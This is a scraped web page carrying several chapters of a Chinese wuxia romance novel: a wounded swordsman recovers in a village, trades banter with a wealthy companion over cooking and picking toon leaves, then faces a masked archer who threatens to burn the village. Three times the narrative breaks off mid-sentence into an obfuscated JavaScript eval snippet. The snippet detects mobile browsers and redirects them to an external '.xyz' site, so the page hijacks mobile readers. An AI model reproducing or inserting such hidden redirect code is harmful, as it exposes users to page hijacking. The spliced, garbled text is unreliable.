RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810174|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成一道线,压迫力十足。 柳傅文无奈的叹一口气:“方隐攸,我不是断袖,你可以放心,你我都是男子,给你上药不是很正常的一件事吗?” 方隐攸点点头,闭上眼,示意他来给自己上药。 柳傅文松了口气,走到竹榻边,可是手却在即将解开他的衣裳时猛地顿住,他有些害怕,怕看到满是伤痕的方隐攸。 方隐攸等了许久都等不到他的动作,十分不解的看向他,“怎么了?” 柳傅文抿了抿唇,握紧手里的金创药,然后缓缓的解开方隐攸的衣裳。 虽然已经做好了心理准备,可是柳傅文还是被里面猩红一片的肌肤吓得后退几步,手里的金创药都落到了地上。 难怪方隐攸浑身没有一处刀伤衣裳却被鲜血染湿,原来是因为他所有的伤口都是由内向外炸开的,当真的皮开肉绽,入目皆是红彤彤的血肉。 柳傅文不可置信的看向方隐攸,“你...竟然没有说一句疼...” “因为不疼。” 方隐攸的语气十分平静,像是在说这茶不烫一般,听不出一丝情绪波澜,他侧过头看向柳傅文,“怕的话我自己来。” 柳傅文猛喘几口粗气,狠狠的掐了掐自己的手心,“我来。” 说完,他捡起地上的药罐,脚步沉重的走到竹榻边,瞪大双眼,举着金创药一点点的洒向方隐攸的伤口。 白色的粉末碰上猩红的血肉时瞬间化作粉色的血水,柳傅文用过金创药,知道这个时候伤口会感觉到针扎般的刺痛,他抬眼看向方隐攸,却看到他只是脸色略微变得苍白了些,连眉头都没有皱起来。 柳傅文不清楚他是不是真的感觉不疼,反正他现在浑身都疼,鼻腔、喉咙最疼,呼吸都开始变得艰难,手抖得不成样子。 等到给方隐攸上完药以后柳傅文才发现自己出了一身冷汗,他心有余悸的深呼了几口气才缓过来。 随后他拿来章夫人新买的衣裳给方隐攸穿上,然后将那身染了血的衣裳扔了出去。 恰好这时候章夫人端着一个陶盅走了过来,看到地上的血衣后问道,“要不要我去给公子洗了晒着?” 柳傅文摇摇头,他一看到这件衣裳就想起来方隐攸倒地不起的画面,实在是不想再看到方隐攸穿这件衣裳,“劳烦你拿去烧了吧。” 章夫人应了声好,将手里的东西递给柳傅文,“公子趁热喂给你弟弟吃了。” 柳傅文端着补品进屋的时候,方隐攸不知道什么时候已经坐了起来,正半倚在竹榻的扶手上,端详着自己。 柳傅文走到他面前,问道:“怎么了?” 方隐攸轻笑一声,“柳公子越发会伺候人了。” 他的语气上扬,带着一丝调侃,但是却因为伤势过重,说话时不自觉的带着一丝喘,是一种十分暧昧迤逦的尾音,让柳傅文不自觉的一下红了脸。 “你...”柳傅文难为情的撇开脸,喉结上下滑动,像是滚动的玉珠。 方隐攸啧啧嘴,“怎么?柳公子脸皮原来这么薄,我不过是夸了一句,你这幅样子做什么。” 柳傅文轻哼一声,不再理会他,揭开陶盅的盖子,舀了一勺浓汤递到他嘴边,“张嘴。” 方隐攸顺从的张开嘴,喝下汤以后,不依不挠的打趣他,“柳兄,你今日对我这般好,小弟日后必然加倍奉还。” 柳傅文闻言咬紧牙根,瞬间相信了放隐攸所说的,这满身的伤口他并不觉得疼,否则他哪里来的心思打趣自己? 不过如今他好歹是伤者,口头上占点便宜就占吧。 柳傅文无奈的看他一眼,又喂了一勺浓汤在他嘴边。 36. 磋磨与差使 方隐攸喝完了补汤又在榻上睡了一个多时辰章老五才终于回来了,他听说药房里躺了人等着他医治,连忙背着竹篓往药房冲来。 柳傅文原本盘腿坐在竹榻前的地上,手里捏着一根枯草药在捻,落了一地的碎屑,听到屋外的脚步声立刻站了起来,反应比守门的犬还迅速。 柳傅文在章老五到达之前先开了门,章老五看上去十分年轻,大概刚及弱冠,脸上稚气未脱,穿着一身粗布短褂,神情焦急,进了屋直奔向竹榻,等到给方隐攸号完了脉才终于长舒了一口气。 柳傅文走到他身后,看着榻上沉睡的方隐攸,问道,“如何?” 章老五往后退一步,神情变得平静了许多,他走到门边提起刚刚随手扔下的竹篓,朝着柳傅文宽慰的说到:“无碍,我去给他开个方子,再静养几日便可。” 说完,章老五一顿,迟疑的问道,“只是我号脉时发现他体内似乎有股邪气,但是那邪气又与他此次的伤无关。”章老五惭愧的叹一口气,“怪在下学艺不精无法分辨其因。” 方隐攸却是知道他说的是什么,于是摆了摆手,“没事,你只需要想办法治好他这次的伤便可。” 方隐攸从怀里拿出一锭金子递给他,“这是诊金。” 章老五连连后退,直至退到屋外,“我家娘子方才告诉我,公子已经付过银子了,这钱你收回去。” 方隐攸直接将金子扔到他怀里,语气郑重的叮嘱他,“你收好银子,药材、补品都给我按最好的来。” 章老五看他这幅样子,也不再拒绝,将金子收了起来。“公子且等着,我去给你再搬个竹榻来。” 章老五和他娘子都是热情的人,又收了方隐攸三锭金子,所以事事都安排的十分妥帖,想着方隐攸身有重伤,晚上容易受凉,于是不仅给他们搬了几床被子,还端了一盆炭火来摆在方隐攸的榻前。 方隐攸睡到半夜三更时忽然被热醒了,铁盆里面的炭火烧了一大半,他稍微翻了个身,便看到柳傅文合衣躺在门口的榻上熟睡,一床被子都未盖,自己身上却盖了足足四层。 方隐攸缓缓爬了起来,拿了两床被子盖在柳傅文身上。 随后,他回到自己的榻上,抬手解开衣裳后冷眼看着自己身上那些斑驳的血痕。 如今上面已经结了一层薄薄的褐色的痂,依稀间还能看到里面鲜红的血肉,这些伤都是耿老翁用内力震出来的。 方隐攸其实十分不解,以耿老翁的武功,完全没必要觊觎他手中莫须有的秘籍,可是他又确实来了。 为了什么呢? 方隐攸抬手触碰左肋上一道深可见骨的伤疤,回忆耿老翁临死前说的最后一句话。 他说——秘籍必须—— 话未说完,自己就一剑了解了他,秘籍必须怎样?必须给他? 方隐攸仰头看着屋顶,沉默良久后长叹一口气。 耿老翁,曾经的第一侠客,竟然死在了他这个歹徒手里,当真是嘲讽。 “你醒了?” 柳傅文迷蒙的声音响起,方隐攸穿好衣裳后回首看他一眼,“嗯。” 柳傅文看着自己身上的被子,眼中闪过一丝喜色,然后翻身下榻将被子又还给了方隐攸。 “做什么?” “都给你。” 方隐攸看着盖在自己腿上的几床被子,再看一眼榻边的火盆,“这些还不够吗?” 柳傅文哼哼几声,不管不顾的将手里的被子都放在方隐攸榻上。 “不够,别着凉了。” 说完,他手按住膝盖,躬身凑近方隐攸,“饿不饿?要不要我去给你弄点吃的?”他眉峰一挑,“可不是人人都有机会吃到本公子亲自下厨做的饭。” 屋内燃了四五盏煤油灯,光线很亮,将柳傅文的眉眼照的十分清晰,方隐攸撇一眼他眼下泪痣,十分坦然的点点头,笑道:“那就麻烦柳兄了,最好是有点荤腥。” 柳傅文眉头一皱,“可是章大夫说你近期需要清淡饮食。” “章大夫?” 柳傅文这才想起来自己并未说明眼下他们所在何地,方隐攸竟然也从未问过。 “我们现在在章台村,这里是村子里的大夫章老五的家,给你用的金创药就是他娘子买回来的。” 方隐攸哦一声,往后一倚,手搭在榻首上,“反正若是清淡饮食还不如不吃。” “你!”柳傅文盯着他,软着嗓音哄劝,“等你康复了再吃大鱼大肉?现在先凑合着吃点?” 方隐攸撇过头不看他,撇着嘴说,“再说了谁说荤菜便不能清淡?我们在仓崂山谷中时,谷山一做的菜都是野味,哪个不是荤菜,可是那鸽子汤不也挺清淡的?”说着,他斜着眼看柳傅文,“我看柳公子就是图省事,想要一碗清水挂面就把我打发了!” “方隐攸,你别胡言乱语。”柳傅文瞬间气红了脸,梗着脖子道:“你想喝鸽子汤是吧?本公子现在就去给你做!” 说着,他按住方隐攸的肩膀让人躺在榻上,然后给将被子仔细盖好,咬牙切齿的说:“你给我好生躺着,别伤口还没愈合又添了新伤。” 说完,他就气呼呼的冲了出去,不过他也没有气昏了头,知道将门给带上,免得方隐攸受了凉。 房间里瞬间安静了下来,只剩下煤油灯时不时的发出几声滋啦声。 方隐攸算是发现了,每当他受伤时,柳傅文像是变了个人一样,任由他磋磨,这种感觉着实不赖。 也难怪当初两人才上路时,他总是喜欢磋磨差使自己。 大概过了不到一个时辰以后,柳傅文端着一碗鸽子汤回来了,只不过他身边还跟着一个神情困倦的男人。 方隐攸扫他一眼,猜测他便是章大夫。 柳傅文坐到榻边,将他扶着半坐起来,然后指了指身后的章大夫,“章大夫让我在汤里放了些药材,对你的伤势有好处。”说着,他看向章大夫,“是吧?章大夫?” 章大夫揉了揉眼睛,点点头道,“是是是,里面放的都是一些补血、安神的药材...只是...” “只是什么?”方隐攸问道。 章大夫看一眼柳傅文,避开方隐攸的视线,小声道:“味道会有些不那么好...” 方隐攸看向柳傅文,眼神莫测,似笑非笑道:“柳兄,你这是...” “我这自然是为了你的身体好。”柳傅文舀起一勺喂到他嘴边,“你要吃荤,但是只吃荤对你的身体不好,所以我放些药材,不正好?” 方隐攸呵呵一笑,喝下一口汤,忍不住撇了撇嘴,这汤味道不仅不鲜,而且还有一股苦味,回味带着涩,像是吃了一口青枇杷。 柳傅文又喂了一勺,皮笑肉不笑的问道,“方隐攸,你得记住这味道,最好是以后提起鸽子汤时想到的都是我给你弄的这一碗,而不是什么谷山一熬的,知道吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810175|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 方隐攸莫名其妙的看他一眼,沉默着喝完他喂的汤。 之后的两天,柳傅文将谷山一做过的菜全部做了一遍端给方隐攸吃,味道不出意外的全部难以下咽。 都已经不是难吃与否的问题了,而是匪夷所思。 方隐攸不知道他如何做到让一盘兔肉可以甜到发苦、一碗莲子羹涩到发酸。 这也是方隐攸第一次发觉自己对食物的容忍度也没有那么大,并非是能入口就行。 可惜他伤势太重,只能躺在榻上做一个饭来张口、衣来伸手的废物。 等到方隐攸能下地以后的第一件事就是直奔厨房,缓解一下已经被柳傅文这么得不成样子的口腹。 热锅倒油、油热放水、水滚放面,面软出锅,再从章夫人的橱柜里弄点咸菜拌着吃完,简简单单的一碗面,让方隐攸感觉到了活着的意义,发誓以后要么活要么死,绝对不能再像个废人躺在榻上吃柳傅文做的那些鬼东西。 期间,柳傅文其实一直倚在厨房门框上看着方隐攸,看他满足的吃完面,正要自己去洗碗筷的时候终于走了进来拿走了他手里的东西。 “我来。” 方隐攸用手臂挡住他的动作,“哪里敢劳烦柳公子。” 柳傅文听出他语气里面的埋怨,啧啧一声往后退了一步,任由他自己去井边打水洗碗。 “方隐攸,是你太挑剔了。” “呵呵。” “兔肉甜是因为放了清热的罗汉果、莲子涩是因为放了止血的五倍子。这些都是章大夫看过了我才放的。”说着,他微微一笑,“都是为了你的身体好。” 早春的井水带着一点温度,并不觉得凉,方隐攸利落的洗干净碗筷,然后往柳傅文手里一放,“你说的都对,劳烦柳公子替我将这碗筷放回橱柜。” “好。” 柳傅文捧着碗筷放回厨房,出来时却不见方隐攸的人影,他眉头一皱,赶紧跑回药房,一推开门就看到方隐攸正坐在窗边仔细的擦拭自己的可生剑,猩红剑柄上的白玉莲花被他擦得锃亮。 柳傅文端着一把椅子放在他身侧,与他并肩坐着晒太阳。 方隐攸眼角余光瞥他一眼,“过了并阳县之后便是冀州,然后再走三百多里路便是京城,不出意外,最晚七日可到。” 柳傅文手撑住下巴,打量着他点点头,“若是出意外了呢?” 方隐攸的手腕一抖,长剑一震,空气里瞬间发出一声爆鸣声,“那就归期不定。” 剑刃上的光反射在柳傅文的眉眼间,瞳孔化作连绵的山谷,谷底拴着漆黑的巨兽,他轻笑一声,按住方隐攸的手腕,移开眉眼间的光。 “这几日开销三锭金,便是六十两,得从你的酬劳里面扣除。” 柳傅文的表情瞬间僵住,不可置信的看着方隐攸,“你把金子当铜板花了?” “在本公子眼里,金子不就是铜板吗?” 说着,柳傅文得意的挑挑眉,“若不是这些金子砸下去,上好的药材、珍贵的补品不要钱似的喂你嘴里,你怎么可能这么快就能下地?” 方隐攸咬牙切齿的瞪着他,柳傅文却十分自在的笑着问,“怎么?方大侠难道想要赖账?” “我认。” “甚好甚好。” 柳傅文哈哈大笑,手轻轻拍了拍他的手臂,“方隐攸,我说的没错吧,你这辈子就不是能大富大贵的命。” 37. 椿树蟠桃 原本方隐攸想要当日便赶往并阳县,但是柳傅文觉得他如今大伤未愈,若是遇上了那个面具男胜算还不可知,不如在章台村多歇几日,等他恢复个七八成了再上路不迟。 方隐攸于是作罢,端了一个竹椅去章家门口的院子躺着晒太阳。 不时地有周边村寨的人来找章老五问诊,看到坐在院里的方隐攸时都会好奇的打量几眼,其中便有隔壁村的一个媒婆。 她只是染了风寒,去屋里抓了药很快便出来了。 媒婆揣着手,用小手指勾着打包好的药,在方隐攸的椅子边踱了几圈,眼神十分探究。 方隐攸双手叠盖在腹部,整张脸映在光里,眉眼清晰,表情温和,他穿的又是章夫人在集市上买的文人爱穿的广袖对襟长袍,不看他枕在手臂下的那把剑的话,像个饱读诗书的举人。 “小公子,我看你面生的很,不是章台周遭村里的吧?” 方隐攸嗯一声,继续看着不远处良田里正在播种的几个男女。 “你是章老五的远房亲戚还是...” “慕名来找他看病的。” 媒婆眼珠一转,“是什么病?” “不举之症。” 媒婆脸上的表情瞬间僵住,十分迅速的往后退一步,嘴里骂骂咧咧的走了。 周围终于安静了下来,方隐攸长呼一口气,继续安逸的晒太阳。 可惜没过多久,柳傅文又来了,他不知道从哪里找来了一个竹篓背在背上,朝着方隐攸摆了摆手,“走,章大夫说后面的矮山上有香椿树,我们去采香椿。” 方隐攸面无表情的瞥他一眼,没有丝毫动作。 “章夫人厨房里还有许多腌货,合着香椿一炒可就是京城值醉仙楼里价值百两的招牌菜——椿树蟠桃,你难道不想吃吗?” 方隐攸依旧不为所动。 “章大夫说你既然已经能下地了,就得多走动走动,不能一直躺着。” 方隐攸抬头看天。 “一两黄金。” 方隐攸起身朝他走来,靛蓝色的衣袖摆动,像是流动的晴空。 柳傅文看着他的一步步的走近自己,呵呵笑了两声,“方隐攸,不就是花了你六十两黄金吗?你有必要不理人?而且这钱,不是都花在你身上了吗?” 方隐攸抬手用剑鞘轻轻敲了敲他背后的竹篓,“若不是花在我身上,我就不是这个态度了。” 说完,他越过柳傅文,朝着后山走去。 柳傅文跟上他的步伐,撇着嘴摇头晃脑的无声的重复了一遍他说的话,又在方隐攸驻足回头看向他时堆起笑脸朝方隐攸无辜的眨了眨眼。 方隐攸呵呵一笑,“你不出声就以为我不知道了?” “难道你知道?”柳傅文几步走到他身边,用肩膀轻轻撞了他一下,“那你说说我刚刚说了什么?” “说柳傅文是个奢靡的纨绔。” “你!”柳傅文气急,又轻轻撞了他一下。 方隐攸用眼角余光瞥他,“再使劲一点?” “你以为我不敢?”柳傅文愤愤不平,“要不是看你重伤未愈,本公子必然不会手下留情!” “哦。” 两人斗了一路的嘴,越过了一条长长的田埂,还和地里的几个男女说了几句话才终于到了后山。 这山着实不高,也不大,种得都是香椿树,外围的一些已经被人采过了,两人往里走了许久才找到没被采的香椿。 方隐攸双手环胸,往后一倒,倚在树干上仰头看着枝尖上的香椿抬了抬下巴,“去吧,柳公子。” 柳傅文原本也没想着方隐攸能帮忙,可是也着实没有料到这香椿树竟然这么高,别说他了,就算是两个他来也够不着,除非爬树,否则他们注定空手而归。 方用攸看出他的踌躇,叹了口气,“哎,我这南蛮来的莽夫确实未曾吃过京城的美味,也不知道这椿树蟠桃是咸的还是辣的。” 柳傅文板着脸,眉眼耷拉成直线,静静地看着他。 “只是这树实在是太高了些,总不能让我们矜贵的柳公子爬树吧?”说着,方隐攸朝着柳傅文露出一个浅浅的微笑,“对吧?” 柳傅文脸上的表情瞬间变了,眉眼蹙了起来,显得无辜,但是他牙根咬紧,又透着几分不服气。 方隐攸扫一眼他,继续道:“罢了罢了,今晚就继续吃清汤挂面,章夫人的咸菜味道也是不错的。” 说罢,他转身就欲走。 “等一下!”柳傅文高喝一声,“你给我站住!” 方隐攸悠悠然转身,戏谑的盯着他,用眼神询问他叫住自己是为何? 柳傅文呵呵一笑,挽起衣袖,仰头看了一眼香椿树,“我去树上摘,你在地上捡,要是漏检了一株,你晚上就别想吃椿树蟠桃。” “柳公子要爬树?这不雅吧?” 柳傅文瞪他一眼,将背上的竹篓扔在他面前,转头就开始爬树。 柳傅文大约是从未爬过树,双手环抱着树干,脚却怎么都上不去,只能使劲的在树根上反复的踩。 方隐攸看着被他蹭掉了一层皮的树干,啧啧嘴摇头,“柳傅文,你是要采香椿还是踩香椿树啊?” 柳傅文侧过脸不看他,心里也纳闷这树皮看上去粗糙得很,怎么踩上去却脚底打滑呢?难道是自己的姿势不对? 柳傅文咬咬牙,双手交握抱紧树干,然后脚底用力一蹬,用力往上一跳,长腿交缠着攀在树上。 接下来该如何?柳傅文思索一瞬,然后用手脚同时用力,想要蹭着往上爬。 方隐攸慢慢走到他身边,抬手撩起他垂在地上的衣摆,然后用手指夹住一点布料轻轻蹭了蹭他的青筋鼓起的手背,“柳公子怎么不往上爬呀?” 柳傅文看不见他的动作,只觉得手背一痒下意识的就想松手,“你以为爬树这么容易呢?” “爬树难道很难吗?”方隐攸凑到他耳边,悄声道,“要不柳兄求我一声,我去替你采这香椿,如何?” 方隐攸的声音仿佛贴着头皮响起,语气蛊惑,里面有毫不隐藏的奚落与打趣,却让柳傅文眼下不觉得手背痒了,只觉得心痒,想要让他再说几句,就用这样的距离和这样的语气,在他耳边低声细语,仿佛爱侣呢喃。 久久得不到反应,方隐攸还以为柳傅文没有听清,于是又往前靠近一分,几乎是要肌肤相贴的距离再次问了一遍。 柳傅文只感受到他的靠近,完全听不清他问了些什么,整个人都开始变得迷离起来,心砰砰作响,想要为非作歹。 他也确实这么干了,他从树上下来,反手握住方隐攸的手腕,刚想转过身去,方隐攸却忽然将他推开,然后利落的借着内力爬上了树,又几下将树梢上的香椿折断了扔在地上。 柳傅文愣愣的看着他的动作,眼神十分茫然。 方隐攸采完香椿回到他身边以后注意到他的神情,十分郁闷的问道,“柳傅文,你不会是想赖账吧?” “啊?”柳傅文有些不解,“什么账?” 方隐攸指着地上的香椿,“我代你摘香椿,一株一两白银。” “什么!”柳傅文不可置信的瞪大眼睛,“我什么时候答应你的?” “方才。” “不可能。” 方隐攸呵呵一声,轻蔑的扫一眼柳傅文,转身就走。 柳傅文立刻扯住他的衣摆,语气迟疑的问道,“我当真答应你了?” “我方隐攸不偷不抢不骗,还能说假话?” 柳傅文审视的盯他半晌,发觉他神情笃定,没有半点心虚的神情,于是只能无奈的说道:“那行吧,一株一百两白银。” 方隐攸满意的点点头,“不愧是柳公子,做事就是体面。”说罢,他迅速爬上另一棵树,扯干净上面的香椿,然后直接跃到旁边的树上。 柳傅文看一眼满地的香椿,又看着方隐攸一副要将山上的香椿全部摘下的势头,立刻喊道:“方隐攸,我只认三百株,你采再多也只有三百两白银。” 方隐攸手里的动作立刻停住,他俯视地上的柳傅文,神色淡淡的哦一声,然后开始不紧不慢的摘香椿。 柳傅文捡完地上的香椿,仰头一看,他竟然正坐在树杈上发呆,“方隐攸,你怎么了?” 方隐攸将手里捻了许久的香椿朝着他手里的竹篓扔去,香椿不偏不倚的落在篓里。 “你数数篓里有多少株了?” 柳傅文掂了掂,“反正不到三百。” 于是方隐攸反手从身后的树梢上扯下几株,又扔进他的篓里,“现在呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810176|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳傅文看着他的动作,长深呼一口气,无语的望着他,“你掉钱眼里了是吧?” “是。”方隐攸答的心安理得,“我得想办法将那六十两黄金赚回来。” 方隐攸正垂着头,肩头的黑发滑落在脸侧,被风一扫,化作纱幔,在他眉眼间卷动,夹杂几缕日光,将他黑白分明的双眼显得十分朦胧,眼神也变得缱绻起来。 “今日这椿树蟠桃你来下厨,那三锭金子算我柳傅文的。” 方隐攸瞬间从树上跃到他面前,一把握住他的肩膀,双眼放光的看着他,“当真?” 柳傅文点点头,“这么点银子,本公子还不放在眼里。” 方隐攸瞬间眉眼带笑,整个人都变得十分畅快,他一把抢过柳傅文手里的竹篓背在背上,然后握住他的手腕将人拉着往回走。 “走!这些够了,我这就去弄!” 柳傅文任由他拉着,盯着他的后颈问道,“你会下厨吗?” “会!不就是香椿和腊肉一块炒吗?简单得很!”方隐攸脸不红心不跳的撒谎,事实上他毫无厨艺,就连中午那碗面都是夹生的,但是当时柳傅文在门口看着,他只能硬咬着牙吃完了。 方隐攸害怕柳傅文出尔反尔,也不管现在是不是吃饭的时辰,回了章老五的家就开始下厨。 为了避免柳傅文看出端倪,他将人赶出了厨房,还关上了门,任由他在外面怎么喊都不肯开门。 柳傅文并不知道方隐攸将他拒之门外的原因,他蹲在门边,仔细回忆自己究竟是什么时候答应的他一株香椿一百两,等到厨房里飘出来一股怪味时他才终于想了起来。 当时他正要从树干上下来,方隐攸忽然伸手抵住了他的腰,修长的五指像是五座大山压住他,让他动弹不得,只能感觉到他喷在自己耳边的灼热的气息,还有他极具哄骗性的嗓音,“柳兄,你还没摘到香椿,怎么可以下来呢?” 自己当时是如何反应的? 他就像是饿了八百年的鱼,直接咬上了他挂着饵的钩子,哑着喉咙问,“那你要怎么样?” “不如我帮你摘,一株一百两白银,如何?” 能如何,饥饿的鱼哪里能分清楚这饵是猎人的圈套还是老天的赏赐,他只觉得自己整个人从脖颈到尾椎,被方隐攸触碰的地方全部变得不受自己掌控,他几乎是毫不犹豫的点了点头,说好。 然后——然后他就被推开了,像是被钓上来的鱼一样被随意的扔在地上,钓鱼人压根不在乎他是不是会渴死,只在乎他肚子里能吐出几锭金子。 柳傅文站起身来,长叹一口气,转身面对着紧闭的厨房大门,幸好他多的是金银,不然还真不知道拿方隐攸怎么办。 其实方隐攸的这盘菜并没有炒多久,只是当他炒完以后看着盘子里焦黑的腊肉思考了许久——如果柳傅文不认账要怎么办? 等到他在脑子里打好了三种不同的腹稿以后,方隐攸终于是打开了厨房的门,然后讨好的笑着将柳傅文拉进了厨房。 柳傅文一进来就闻到了一股糊味,再看着桌上那一盘乌黑的东西时就什么都明白了。 腊肉都能炒糊的人怎么可能有半点厨艺傍身。 方隐攸装作若无其事的模样递了一双筷子给柳傅文,满脸期待的看着他,“尝尝?” 柳傅文看他一眼,皮笑肉不笑的点了点头,夹了一筷子不那么糊的菜放在嘴里,可是还不等他开始咀嚼,方隐攸就将手摊在了他的面前。 “我做了,你吃了,该你付钱了。” 柳傅文面无表情的咽下嘴里这坨咸到发苦的菜,十分不解的问道,“方隐攸,你怎么好意思嫌弃我做的菜的?我弄得哪一道比你的这个差?” 方隐攸充耳不闻,手依旧摊在他的面前,“我们现在说的不是那个,是这个。” “哪个?” “三锭金子的事。” 柳傅文伸手扯过他的衣袖,使劲的擦了擦嘴,“要是我将菜做成这个样子,都没脸开这个口。” “我不是你,我有脸。”说着,方隐攸摇了摇手,朝他抬了抬下巴,“给不给?” “给!”柳傅文十分嫌弃的看着桌上那坨菜,“到京城了一并给你。” “一言为定?” “驷马难追!” 38. 变故 方隐攸做的那盘菜着实难以下咽,在得到柳傅文的允诺以后他十分迅速的将菜倒掉了,然后还收拾好了厨房,只当一切都没有发生过。 柳傅文倚在门口,“章大夫和他夫人等会去他隔壁村的老丈人家吃晚饭,我们晚上吃什么?” 方隐攸擦干净手上的水渍,看向柳傅文,“你下厨吧。” “不嫌弃我弄得不好吃了?” “能吃就行。” 柳傅文撇撇嘴,“你还知道你做的压根都不能吃?” 方隐攸翻了个白眼,越过他朝着药房走去。 章大夫在离开前替方隐攸煎好了药,然后语重心长的告诫他眼下他还未痊愈,不可再乱用内力。 柳傅文一听肯定是方隐攸下午采香椿时用了内力让章大夫看出来了,于是他干咳一声,在方隐攸朝他看过来时责怪的瞪了他一眼。 方隐攸喝完了苦涩的药,等着章大夫出去了才冷眼一扫柳傅文,“方某用内力还不是因为堂堂柳公子连个树都不会爬?” “本公子为何要会这种粗俗不堪的东西?” “爬树粗俗,你双脚蹭树皮就不粗俗。” 柳傅文一听,一手叉腰一手指着方隐攸的脸,“方隐攸,你有本事再说一遍?” 方隐攸皮笑肉不笑的呵呵两声,然后在柳傅文彻底愤怒之前迅速闪出屋外。 柳傅文抬腿便追,但是奈何方隐攸好歹是个天下第一刺客,就算是受了伤也不是他能追上的。 等到追得气喘吁吁时,方隐攸依旧脸不红心不跳的站在不远处朝他招手,“怎么不追了?” 活像是在逗弄一只猴子。 柳傅文咬牙切齿的从怀里掏出一锭金子,“让我追到,这个给你。” 方隐攸毫不犹豫的直接闪现到他身边一把夺过他手里的金子,然后揽住他的肩膀将人往身前一带,随后弯腰俯身,将自己的脸往他面前一递,“来,柳公子消消气,尽管使劲打。” 柳傅文轻哼一声,斜着眼埋怨的瞪了他一下,然后抬手轻轻拍了一下他的脸,连个声响都没有。 方隐攸摸了摸被他打了地方,纳闷这人怎么追半天就才使了这么点劲。 方隐攸放开他后笑着把玩着手里的金子,朝他使了个眼色,“不生气了就去做饭吧,我有点饿了。” 柳傅文看看天色,现在也确实到了吃晚饭的时辰,于是点点头,“我去弄两碗面。” 方隐攸背着手,走到院子的篱笆栏前,看到章老五邻居一家人正聚在屋门口下象棋。 一张小方桌,夫妻二人怀里各抱着一个尚在襁褓的孩子相对而坐,孩子的爷爷站在男人身后手摸着胡须但笑不语,奶奶坐在稍远处用簸箕筛着陈年的稻子。 女人手执着棋子往前一步,将掉男人的棋子。 男人恍然大悟的抬手虚空点了点她,眼神钦佩,嘴里说着些什么。 孩子的爷爷仰头大笑,伸手轻拍男人的肩膀,然后又朝着儿媳点了点头,大约在夸她棋艺精湛。 孩子的奶奶这时候也朝他们看了一眼,眼中温柔,嘴角带笑。 “面弄好了。”柳傅文站在厨房门口朝着方隐攸喊了一声。 方隐攸点点头,转身朝着厨房走去。 “小心——” 忽然,柳傅文看着他的背后大喊一声,人也迅速的朝他奔来。 方隐攸也察觉到了异样,立刻抬手拔剑朝着身后一劈,将朝着自己后胸射来的长箭斩断。 方隐攸迅速转身,便看到不远处站着一个带着面具的男人,手里的长弓拉开,箭头正对准着邻居家中的年轻妇人。 随后,长箭嗖的一声朝着她的胸□□来,他想要杀的是她怀里的孩子。 方隐攸迅速翻过篱笆,挥剑替她斩断长箭后朝着他们喊道:“快跑!” 一家人迅速反应了过来,直接往章老五的院子里跑去。 这时,方隐攸发现面具男身后还有许多人正在朝这边赶,粗略一看至少有百人。 柳傅文跑到方隐攸身边一把拽住他的手腕,“你现在还没有痊愈,不能和他硬碰硬,先躲起来。” 方隐攸眼神森然的盯着男人,“躲不了,章台村都是茅屋,最近又多日未曾下雨,天干物燥,他若火攻,整个村里的人连躲都没地方躲。” 正说着,便看到追随男人而来的人尽数站到他身后,十分规整的排开,最前面一排人手里拿着的正是火弩。 “他有备而来。”方隐攸握紧手中的可生剑,“大概率会拿全村的百姓逼我就范。” 柳傅文看向男人,眼神探究,“火弩不是一般人能弄到的,他大概是官府的人,就算不是,也和官府的人有所勾结。” “无所谓。”方隐攸上前一步,手中的长剑直指着男人的面门,“管他是朝堂还是江湖中人,在我眼里,就是个废物。” 说着,他手腕一抖,直接就想要朝他冲去,却被柳傅文一把拽住了手腕。 “你做什么?” “章老五临走前怎么说的你忘了?” “那有什么?”方隐攸毫不在意的嗤笑一声,“又死不了。” 说着,他又要往前冲,可是柳傅文这次却是直接将他拦腰抱住,“不行。” 方隐攸瞬间暴怒,反手抓住他的胳膊一拧,然后一脚踹在他的侧腰,将人踢开以后,他立刻提剑朝着面具男冲去。 男人本来就一直看着他,等到他朝自己冲来的时候连忙退到人群里,然后朝着身后的人一招手,众人手里的火弩立刻朝着方隐攸射来。 “方隐攸,你要是再敢往前一步,这些火弩射得可就是那些人的茅屋了。” 方隐攸一听,瞬间止步,他轻蔑的盯着躲在人群里的男人,喊道,“滚出来,废物。” 男人呵呵一笑,“你以为我不知道吗?你现在重伤未愈,压根不是我的对手,我只是不想杀你而已。”说着,他拍了拍手,人群里走出几个抬着木箱子的人,他们将木箱子打开,露出里面金灿灿的金子。 “把秘籍给我,这些金子都是你的。”说着男人手指着柳傅文,“那个纨绔不过给你几百两黄金你就拼命护他,我如今给你黄金千两,只要你的秘籍而已,够意思吧?” “若我不答应你呢?” “不答应?”男人推开面前的一个人,往前一步,露出半个头,冷眼盯着方隐攸,“那我就让整个章台村化作一片火海!” 方隐攸抬手掏掏耳朵,“你还能换个新花样吗?你看我像是舍己为人的人吗?” “不是吗?”男人说完摆了摆右手,几十支火箭顷刻间如落雨般砸在方隐攸身侧的茅屋上,茅屋瞬间烧了起来。 